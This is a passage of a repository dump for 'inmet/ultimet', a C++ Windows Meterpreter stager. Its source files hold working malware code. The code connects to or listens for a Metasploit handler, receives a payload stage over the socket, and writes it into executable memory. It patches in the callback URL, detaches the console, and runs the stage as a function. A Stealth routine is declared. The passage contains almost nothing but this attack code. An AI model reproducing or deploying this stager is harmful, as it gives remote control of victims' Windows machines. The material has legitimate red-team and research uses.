&payload_settings.comm_timeout, 4); 465 | } 466 | 467 | /* 468 | * Preparing connection... 469 | */ 470 | // Are we reverse_metsvc? 471 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind. 472 | { 473 | if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference. 474 | { 475 | // If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage 476 | // That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc. 477 | // However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless. 478 | // ... but we have to tell them what they've done wrong. 479 | dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n" 480 | L" next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n" 481 | L" - anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n"); 482 | 483 | dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n"); 484 | 485 | // Let's just fallback to stager mode ... you foolish noisy bandwidth wasters. 486 | StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT); 487 | // see you on the other side :) 488 | } 489 | 490 | // we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :) 491 | 492 | // Adjusting buffer .. this is important! 493 | // reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler` 494 | // My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents 495 | // of "buffer" over, then point buffer to that new TempBuffer ... then take it from there. 496 | TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 497 | memcpy(TempBuffer + 5, buffer, StageSize); //skiping first five bytes, then copying buffer contents ... 498 | buffer = TempBuffer; //Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :). 499 | ////////////////////////////////////////////////// 500 | 501 | if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n"); 502 | ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT); 503 | if (ConnectSocket == INVALID_SOCKET) 504 | { 505 | dprintf(L"[-] Failed to connect ... will exit!\n"); 506 | exit(1); 507 | } 508 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer); 509 | buffer[0] = 0xBF; 510 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); 511 | memcpy(buffer+1, &ConnectSocket, 4); 512 | } 513 | 514 | // Are we bind?? 515 | else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer. 516 | { 517 | if(!metsvc) 518 | { 519 | dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n" 520 | L" next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n" 521 | L" - anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n"); 522 | 523 | dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n"); 524 | 525 | StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT); 526 | } 527 | 528 | TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 529 | memcpy(TempBuffer + 5, buffer, StageSize); 530 | buffer = TempBuffer; 531 | 532 | if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n"); 533 | ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT); 534 | if (ConnectSocket == INVALID_SOCKET) 535 | { 536 | dprintf(L"[-] Failed to connect ... will exit!\n"); 537 | exit(1); 538 | } 539 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer); 540 | buffer[0] = 0xBF; 541 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); 542 | memcpy(buffer+1, &ConnectSocket, 4); 543 | } 544 | 545 | // Are we reverse_http(s)? 546 | else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0)) 547 | { 548 | /* 549 | Building the URL 550 | */ 551 | int checksum = 0; //Calculated Checksum placeholder. 552 | char URI_Part_1[5] = {0}; //4 chars ... it can be any length actually. 553 | char URI_Part_2[17] = {0}; //16 random chars. 554 | srand ( (UINT)time(NULL) ); //Seed rand() 555 | 556 | while(true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much. 557 | { 558 | gen_random(URI_Part_1, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine. 559 | checksum = TextChecksum8(URI_Part_1); //Get the 8-bit checksum of the random value 560 | if(checksum == URI_CHECKSUM_CONN) //If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session. 561 | { 562 | break; // We found a random string that checksums to 98 563 | } 564 | } 565 | gen_random(URI_Part_2, 16); //get second part, random 16 chars 566 | 567 | //Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/ 568 | //HTTP? HTTPS? 569 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) 570 | strcat_s(url, "http://"); 571 | else 572 | strcat_s(url, "https://"); 573 | 574 | //The joys of converting between wchar_t and char ... 575 | char tempChar1[512] = {0}; //This is used for converting from wchar_t to char... 576 | char tempChar2[512] = {0}; //This is used for converting from wchar_t to char... 577 | 578 | wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char 579 | wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char 580 | 581 | //wide-char conversion happiness ends here... building the url... 582 | strcat_s(url,tempChar1); // "http(s)://LHOST" 583 | strcat_s(url,":"); // "http(s)://LHOST:" 584 | strcat_s(url,tempChar2); // "http(s)://LHOST:LPORT" 585 | strcat_s(url,"/"); // "http(s)://LHOST:LPORT/" 586 | strcat_s(url,URI_Part_1); // "http(s)://LHOST:LPORT/CONN" 587 | strcat_s(url,"_"); // "http(s)://LHOST:LPORT/CONN_" 588 | strcat_s(url,URI_Part_2); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX" 589 | strcat_s(url,"/\0"); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/" 590 | //Thanks for waiting... :) 591 | 592 | wchar_t temp[512] = {0}; 593 | mbstowcs_s(NULL,temp,url,strlen(url)); 594 | dprintf(L"[*] Calculated URL: %s\n",temp); 595 | 596 | //Patching URL ... 597 | index = 0; //Rewind 598 | index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url)); 599 | if (index == 0) // if the global_meterpreter_url is not found ... 600 | { 601 | dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); 602 | exit(1); 603 | } 604 | dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x -> \"%s\"\n", index, temp ); 605 | memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X' 606 | } 607 | 608 | } 609 | 610 | dprintf(L"[*] Everything in place, casting whole buffer as a function...\n"); 611 | function = (void (*)())buffer; 612 | 613 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n"); 614 | FreeConsole(); 615 | function(); 616 | return 0; 617 | } 618 | -------------------------------------------------------------------------------- /inmet/main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma comment(lib, "Ws2_32.lib") // Better here than linker settings... 3 | #pragma comment(lib, "wininet.lib") 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include // Make *sure* windows.h gets included after everyting else ... redefinition hell... 9 | #include 10 | #include 11 | #include 12 | #include "Constants.h" 13 | #include "resource.h" 14 | 15 | #include 16 | 17 | 18 | //Print if debugging ... learned that from meterpreter source code, metasploit. 19 | //#ifndef _DEBUG 20 | //#define dprintf(...) do{}while(0); //if debug not defined, it will do nothing. 21 | //#else 22 | #define dprintf(...) wprintf_s(__VA_ARGS__) //if debug enabled, it will printf everything. 23 | //#endif 24 | 25 | // Payload settings struct, this gets populated in many ways "command line, file name, resource" 26 | struct PAYLOAD_SETTINGS { 27 | wchar_t *TRANSPORT; 28 | wchar_t *LHOST; 29 | wchar_t *LPORT; 30 | wchar_t *USER_AGENT; 31 | int expiration_timeout; 32 | int comm_timeout; 33 | }; 34 | 35 | // Function prototypes goes here 36 | LONGLONG SizeFromName(LPCWSTR szFileName); // Provide a filename, it returns the filesize in bytes. 37 | DWORD CopyStageToBuffer(LPCWSTR szFileName, unsigned char** buffer); // Copies file contents to buffer, return buffer size. 38 | int PatchString(unsigned char* buffer, const wchar_t* cOriginal, const int index, const int NoOfBytes); // Search and replace a string in a given buffer. 39 | bool AnsiToUnicode(const char* ascii, wchar_t* unicode); // Sorry for the insist on unicode support, I'm from Egypt :) 40 | bool UnicodeToAnsi(char* ascii, const wchar_t* unicode); 41 | DWORD binstrstr (unsigned char * buff1, int lenbuff1, unsigned char * buff2, int lenbuff2); // Binary search, return offset, or 0 if not found/error... 42 | 43 | SOCKET get_socket(wchar_t* IP, wchar_t* iPort); // get a socket from an IP and PORT 44 | SOCKET get_server_socket(wchar_t* IP, wchar_t* iPort); 45 | 46 | DWORD ResourceToBuffer(WORD wResourceID, LPCTSTR lpType, unsigned char** buffer); 47 | void XORcrypt(unsigned char *buffer, char *key, int size); 48 | void GetKeyFromBuffer(unsigned char* buffer, char* key, int size); 49 | void gen_random(char *s, const int len); 50 | int TextChecksum8(char* text); 51 | void print_header(); 52 | void usage(); 53 | void BuildURL(char *url, int checksum8); 54 | 55 | 56 | void StagerRevereTCP(wchar_t* IP, wchar_t* iPort); 57 | void StagerReverseHTTP(wchar_t *IP, wchar_t *iPort, wchar_t *transport); 58 | 59 | void StagerBindTCP(wchar_t* IP, wchar_t* iPort); 60 | 61 | BOOL GetOptionsFromResource(wchar_t *transport, wchar_t *lhost, wchar_t *lport); 62 | BOOL IsThisAValidTransport(wchar_t *transport); 63 | BOOL ResourceOptionsReset(void); 64 | void RemoveStage(void); 65 | void msfpayload(char *transport, char *lhost, char *lport); 66 | void Stealth(void); 67 | 68 | 69 | DWORD ReflectiveLoaderOffset(DWORD BaseAddress); 70 | DWORD RVAToOffset(IMAGE_NT_HEADERS32 * pNtHdr, DWORD dwRVA); 71 | 72 | -------------------------------------------------------------------------------- /inmet/options.txt: -------------------------------------------------------------------------------- 1 | |UM|INVALID|INVALID|INVALID| -------------------------------------------------------------------------------- /inmet/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/resource.h -------------------------------------------------------------------------------- /inmet/winsock_functions.cpp: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | /* 3 | Steps are as follows: 4 | 1- Initialize winsock 5 | 2- Connect to lhost:lport 6 | 3- Return socket on success, INVALID_SOCKET otherwise... 7 | */ 8 | 9 | #define DEFAULT_BUFLEN 512 10 | 11 | SOCKET get_socket(wchar_t* IP, wchar_t* iPort) // MSDN http://msdn.microsoft.com/en-us/library/windows/desktop/ms737591(v=vs.85).aspx 12 | { 13 | WSADATA wsaData; 14 | SOCKET SocketToHandler = INVALID_SOCKET; 15 | char ansiIP[1024] = {0}; 16 | char ansiPort[128] = {0}; 17 | 18 | UnicodeToAnsi(ansiIP,IP);//I do not know why this works for me without problems, but when using wcstombs instead, ultimet stops responding w/error after KILLING THE SESSION FROM THE HANDLER SIDE... 19 | UnicodeToAnsi(ansiPort,iPort); 20 | //wcstombs(ansiIP,IP,wcslen(IP)); 21 | //wcstombs(ansiPort,iPort,wcslen(iPort)); 22 | 23 | struct addrinfo *result = NULL; // A pointer to a linked list of addrinfo structures that contains response information about the host. 24 | struct addrinfo hints = {0}; // A pointer to an addrinfo structure that provides hints about the type of socket the caller supports. `getaddrinfo()` 25 | 26 | int iResult; 27 | 28 | // Initialize Winsock 29 | iResult = WSAStartup(MAKEWORD(2,2), &wsaData); 30 | if (iResult != 0) 31 | { 32 | printf("WSAStartup failed: %d\n", iResult); 33 | WSACleanup(); 34 | return INVALID_SOCKET; 35 | } 36 | 37 | // Resolve the handler address and port 38 | hints.ai_family = AF_INET; // fill the hints structure 39 | hints.ai_socktype = SOCK_STREAM; 40 | hints.ai_protocol = IPPROTO_TCP; 41 | 42 | iResult = getaddrinfo(ansiIP, ansiPort, &hints, &result); 43 | if ( iResult != 0 ) { 44 | printf("getaddrinfo failed with error: %d\n", iResult); 45 | WSACleanup(); 46 | return INVALID_SOCKET; 47 | } 48 | 49 | // Create a SOCKET for connecting to server 50 | SocketToHandler = socket(result->ai_family, result->ai_socktype, result->ai_protocol); 51 | if (SocketToHandler == INVALID_SOCKET) { 52 | printf("socket failed with error: %ld\n", WSAGetLastError()); 53 | WSACleanup(); 54 | return INVALID_SOCKET; 55 | } 56 | 57 | // Connect to handler 58 | iResult = connect( SocketToHandler, result->ai_addr, (int)result->ai_addrlen); 59 | if (iResult == SOCKET_ERROR) { 60 | closesocket(SocketToHandler); 61 | return INVALID_SOCKET; 62 | } 63 | return SocketToHandler; 64 | } 65 | 66 | void StagerRevereTCP(wchar_t* IP, wchar_t* iPort) 67 | { 68 | SOCKET sckt; 69 | int len = 0; 70 | char* buff; 71 | int count = 0; 72 | 73 | sckt = get_socket(IP, iPort); // connect 74 | if (sckt == INVALID_SOCKET) //Couldn't connect 75 | { 76 | dprintf(L"[-] Failed to connect ... will exit!\n"); 77 | exit(1); 78 | } 79 | dprintf(L"[+] Socket: %d\n", sckt); 80 | 81 | dprintf(L"[*] Connecting \"%s:%s\"\n", IP, iPort); 82 | 83 | count = recv(sckt, (char*)&len, 4, NULL); //read 4 bytes ... the first 4 bytes sent over from the handler are size of stage 84 | if (count != 4 || len <= 0) 85 | { 86 | dprintf(L"[-] We connected, but something went wrong while receiving stage size ... will exit!\n"); 87 | exit(1); 88 | } 89 | 90 | dprintf(L"[*] Stage length = \"%d\" bytes.\n", len); 91 | buff = (char*)VirtualAlloc(0, len + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ; //allocate 92 | if (buff == NULL) 93 | { 94 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", GetLastError()); 95 | exit(1); 96 | } 97 | 98 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", (len + 5)); 99 | // Getting the stage 100 | recv(sckt, buff + 5, len, MSG_WAITALL); // not specifying MSG_WAITALL caused me two days of headache ... 101 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buff); 102 | buff[0] = (char)0xBF; 103 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); 104 | memcpy(buff+1, &sckt, 4); 105 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n"); 106 | (*(void (*)())buff)();//Bye bye ... 107 | } 108 | 109 | 110 | void StagerBindTCP(wchar_t* IP, wchar_t* iPort) 111 | { 112 | SOCKET sckt; 113 | int len = 0; 114 | char* buff; 115 | int count = 0; 116 | 117 | sckt = get_server_socket(IP, iPort); 118 | if (sckt == INVALID_SOCKET) 119 | { 120 | dprintf(L"[-] Failed to connect ... will exit!\n"); 121 | exit(1); 122 | } 123 | dprintf(L"[+] Socket: %d\n", sckt); 124 | 125 | dprintf(L"[*] Listening on \"%s:%s\"\n", IP, iPort); 126 | 127 | count = recv(sckt, (char*)&len, 4, NULL); 128 | if (count != 4 || len <= 0) 129 | { 130 | dprintf(L"[-] We connected, but something went wrong while receiving stage size ... will exit!\n"); 131 | exit(1); 132 | } 133 | 134 | dprintf(L"[*] Stage length = \"%d\" bytes.\n", len); 135 | buff = (char*)VirtualAlloc(0, len + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ; //allocate 136 | if (buff == NULL) 137 | { 138 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", GetLastError()); 139 | exit(1); 140 | } 141 | 142 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", (len + 5)); 143 | 144 | recv(sckt, buff + 5, len, MSG_WAITALL); 145 | 146 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buff); 147 | buff[0] = (char)0xBF; 148 | 149 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); 150 | memcpy(buff+1, &sckt, 4); 151 | 152 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n"); 153 | (*(void (*)())buff)(); 154 | }; 155 | 156 | SOCKET get_server_socket(wchar_t* IP, wchar_t* iPort) 157 | { 158 | WSADATA wsaData; 159 | int iResult; 160 | 161 | SOCKET ListenSocket = INVALID_SOCKET; 162 | SOCKET ClientSocket = INVALID_SOCKET; 163 | 164 | struct addrinfo *result = NULL; 165 | struct addrinfo hints; 166 | 167 | //int iSendResult; 168 | //char recvbuf[DEFAULT_BUFLEN]; 169 | int recvbuflen = DEFAULT_BUFLEN; 170 | 171 | char ansiIP[1024] = {0}; 172 | char ansiPort[128] = {0}; 173 | 174 | UnicodeToAnsi(ansiIP,IP); 175 | UnicodeToAnsi(ansiPort,iPort); 176 | 177 | // Initialize Winsock 178 | iResult = WSAStartup(MAKEWORD(2,2), &wsaData); 179 | if (iResult != 0) { 180 | printf("WSAStartup failed with error: %d\n", iResult); 181 | return INVALID_SOCKET; 182 | } 183 | 184 | ZeroMemory(&hints, sizeof(hints)); 185 | hints.ai_family = AF_INET; 186 | hints.ai_socktype = SOCK_STREAM; 187 | hints.ai_protocol = IPPROTO_TCP; 188 | hints.ai_flags = AI_PASSIVE; 189 | 190 | // Resolve the server address and port 191 | iResult = getaddrinfo(ansiIP, ansiPort, &hints, &result); 192 | if ( iResult != 0 ) { 193 | printf("getaddrinfo failed with error: %d\n", iResult); 194 | WSACleanup(); 195 | return INVALID_SOCKET; 196 | } 197 | 198 | // Create a SOCKET for connecting to server 199 | ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); 200 | if (ListenSocket == INVALID_SOCKET) { 201 | printf("socket failed with error: %ld\n", WSAGetLastError()); 202 | freeaddrinfo(result); 203 | WSACleanup(); 204 | return INVALID_SOCKET; 205 | } 206 | 207 | // Setup the TCP listening socket 208 | iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); 209 | if (iResult == SOCKET_ERROR) { 210 | printf("bind failed with error: %d\n", WSAGetLastError()); 211 | freeaddrinfo(result); 212 | closesocket(ListenSocket); 213 | WSACleanup(); 214 | return INVALID_SOCKET; 215 | } 216 | 217 | freeaddrinfo(result); 218 | 219 | iResult = listen(ListenSocket, SOMAXCONN); 220 | if (iResult == SOCKET_ERROR) { 221 | printf("listen failed with error: %d\n", WSAGetLastError()); 222 | closesocket(ListenSocket); 223 | WSACleanup(); 224 | return INVALID_SOCKET; 225 | } 226 | 227 | // Accept a client socket 228 | ClientSocket = accept(ListenSocket, NULL, NULL); 229 | if (ClientSocket == INVALID_SOCKET) { 230 | printf("accept failed with error: %d\n", WSAGetLastError()); 231 | closesocket(ListenSocket); 232 | WSACleanup(); 233 | return INVALID_SOCKET; 234 | } 235 | 236 | // No longer need server socket 237 | closesocket(ListenSocket); 238 | 239 | return ClientSocket; 240 | 241 | /*// Receive until the peer shuts down the connection 242 | do { 243 | 244 | iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); 245 | if (iResult > 0) { 246 | printf("Bytes received: %d\n", iResult); 247 | 248 | // Echo the buffer back to the sender 249 | iSendResult = send( ClientSocket, recvbuf, iResult, 0 ); 250 | if (iSendResult == SOCKET_ERROR) { 251 | printf("send failed with error: %d\n", WSAGetLastError()); 252 | closesocket(ClientSocket); 253 | WSACleanup(); 254 | return 1; 255 | } 256 | printf("Bytes sent: %d\n", iSendResult); 257 | } 258 | else if (iResult == 0) 259 | printf("Connection closing...\n"); 260 | else { 261 | printf("recv failed with error: %d\n", WSAGetLastError()); 262 | closesocket(ClientSocket); 263 | WSACleanup(); 264 | return 1; 265 | } 266 | 267 | } while (iResult > 0); 268 | 269 | // shutdown the connection since we're done 270 | iResult = shutdown(ClientSocket, SD_SEND); 271 | if (iResult == SOCKET_ERROR) { 272 | printf("shutdown failed with error: %d\n", WSAGetLastError()); 273 | closesocket(ClientSocket); 274 | WSACleanup(); 275 | return 1; 276 | } 277 | 278 | // cleanup 279 | closesocket(ClientSocket); 280 | WSACleanup();*/ 281 | 282 | }; -------------------------------------------------------------------------------- /metsrv.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/metsrv.dll -------------------------------------------------------------------------------- /ultimet.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ultimet.zip --------------------------------------------------------------------------------